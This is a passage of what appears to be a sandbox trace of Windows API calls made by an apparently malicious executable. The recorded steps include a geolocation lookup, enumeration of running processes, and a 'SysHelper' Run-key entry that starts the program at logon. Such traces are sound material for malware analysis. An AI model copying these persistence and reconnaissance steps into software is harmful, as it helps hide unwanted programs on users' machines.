!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0096.209] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0096.209] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18cbc8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0096.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d284, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x32\xed\x4f\x4d\xc0\xd5\x18", lpUsedDefaultChar=0x0) returned 256 [0096.209] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0096.209] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x800) returned 0x70d898 [0096.209] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x467634 [0096.209] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.209] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.210] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.210] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.210] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x110) returned 0x70e0a0 [0096.210] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.210] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x70b540 [0096.210] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.211] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.211] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.212] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x70d5e8) returned 0x80 [0096.213] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0096.402] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x702880 [0096.402] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0110.626] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x189888, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18c088 | out: lpBuffer=0x189888*, lpdwNumberOfBytesRead=0x18c088*=0x1d1) returned 1 [0110.627] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0110.629] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0110.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x7196e0 [0110.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1e0) returned 0x71a6a8 [0110.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x71a6a8 | out: hHeap=0x660000) returned 1 [0110.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7196e0 | out: hHeap=0x660000) returned 1 [0110.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x702880 | out: hHeap=0x660000) returned 1 [0110.629] GetCurrentProcess () returned 0xffffffff [0110.629] GetLastError () returned 0x2 [0110.629] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0110.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x73f648 [0110.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x110) returned 0x3255a30 [0110.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x3272e58 [0110.629] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3272e58, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x95 [0110.629] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef") returned 1 [0110.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3273660 [0110.630] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart" [0110.630] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart", pNumArgs=0x18c168 | out: pNumArgs=0x18c168) returned 0x3246f08*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0110.630] lstrcpyW (in: lpString1=0x18ce18, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0110.630] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart" [0110.630] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart", pNumArgs=0x18c104 | out: pNumArgs=0x18c104) returned 0x3246f08*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0110.630] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0110.630] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76980000 [0110.631] GetProcAddress (hModule=0x76980000, lpProcName="EnumProcesses") returned 0x0 [0110.631] GetProcAddress (hModule=0x76980000, lpProcName="EnumProcessModules") returned 0x0 [0110.631] GetProcAddress (hModule=0x76980000, lpProcName="GetModuleBaseNameW") returned 0x0 [0110.631] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x74e60000 [0110.633] GetProcAddress (hModule=0x74e60000, lpProcName="EnumProcesses") returned 0x74e61544 [0110.633] GetProcAddress (hModule=0x74e60000, lpProcName="EnumProcessModules") returned 0x74e61408 [0110.633] GetProcAddress (hModule=0x74e60000, lpProcName="GetModuleBaseNameW") returned 0x74e6152c [0110.633] EnumProcesses (in: lpidProcess=0x181900, cb=0xa000, lpcbNeeded=0x18c110 | out: lpidProcess=0x181900, lpcbNeeded=0x18c110) returned 1 [0110.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0110.635] CloseHandle (hObject=0x0) returned 0 [0110.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0110.635] CloseHandle (hObject=0x0) returned 0 [0110.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0110.635] CloseHandle (hObject=0x0) returned 0 [0110.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0110.635] CloseHandle (hObject=0x0) returned 0 [0110.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0110.635] CloseHandle (hObject=0x0) returned 0 [0110.635] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0110.636] CloseHandle (hObject=0x0) returned 0 [0110.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x440) returned 0x5a8 [0110.637] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0110.637] CloseHandle (hObject=0x5a8) returned 1 [0110.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5a8 [0110.637] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0110.637] CloseHandle (hObject=0x5a8) returned 1 [0110.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x464) returned 0x0 [0110.637] CloseHandle (hObject=0x0) returned 0 [0110.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x470) returned 0x5a8 [0110.637] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0110.637] CloseHandle (hObject=0x5a8) returned 1 [0110.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x0 [0110.637] CloseHandle (hObject=0x0) returned 0 [0110.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4b4) returned 0x5a8 [0110.637] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0110.637] CloseHandle (hObject=0x5a8) returned 1 [0110.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x544) returned 0x5a8 [0110.638] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0110.639] GetModuleBaseNameW (in: hProcess=0x5a8, hModule=0x400000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 0x44 [0110.639] CloseHandle (hObject=0x5a8) returned 1 [0110.639] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x584) returned 0x5a8 [0110.639] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0110.640] GetModuleBaseNameW (in: hProcess=0x5a8, hModule=0x400000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0110.640] CloseHandle (hObject=0x5a8) returned 1 [0110.640] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x140) returned 0x5a8 [0110.640] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0110.640] CloseHandle (hObject=0x5a8) returned 1 [0110.640] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x590) returned 0x5a8 [0110.640] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0110.640] CloseHandle (hObject=0x5a8) returned 1 [0110.640] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e8) returned 0x5a8 [0110.640] EnumProcessModules (in: hProcess=0x5a8, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0110.641] CloseHandle (hObject=0x5a8) returned 1 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x28) returned 0x716220 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x73fb60 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x328dbe0 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x742040 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x7422a8 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3273e78 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32740e0 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3274348 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32745b0 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3274818 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3274a80 [0110.641] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c100 | out: phkResult=0x18c100*=0x5a8) returned 0x0 [0110.641] RegQueryValueExW (in: hKey=0x5a8, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c0fc, lpData=0x18a828, lpcbData=0x18c0e0*=0x400 | out: lpType=0x18c0fc*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart", lpcbData=0x18c0e0*=0x148) returned 0x0 [0110.641] RegCloseKey (hKey=0x5a8) returned 0x0 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x150) returned 0x742510 [0110.641] lstrlenA (lpString="\" --AutoStart") returned 13 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0110.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x742510 | out: hHeap=0x660000) returned 1 [0110.641] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 1 [0110.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x3248380 [0110.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x28) returned 0x32b8328 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3274ce8 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3274f50 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32751b8 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3275420 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3275688 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32758f0 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3290060 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x32902c8 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3290530 [0110.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x3290798 [0110.642] lstrlenA 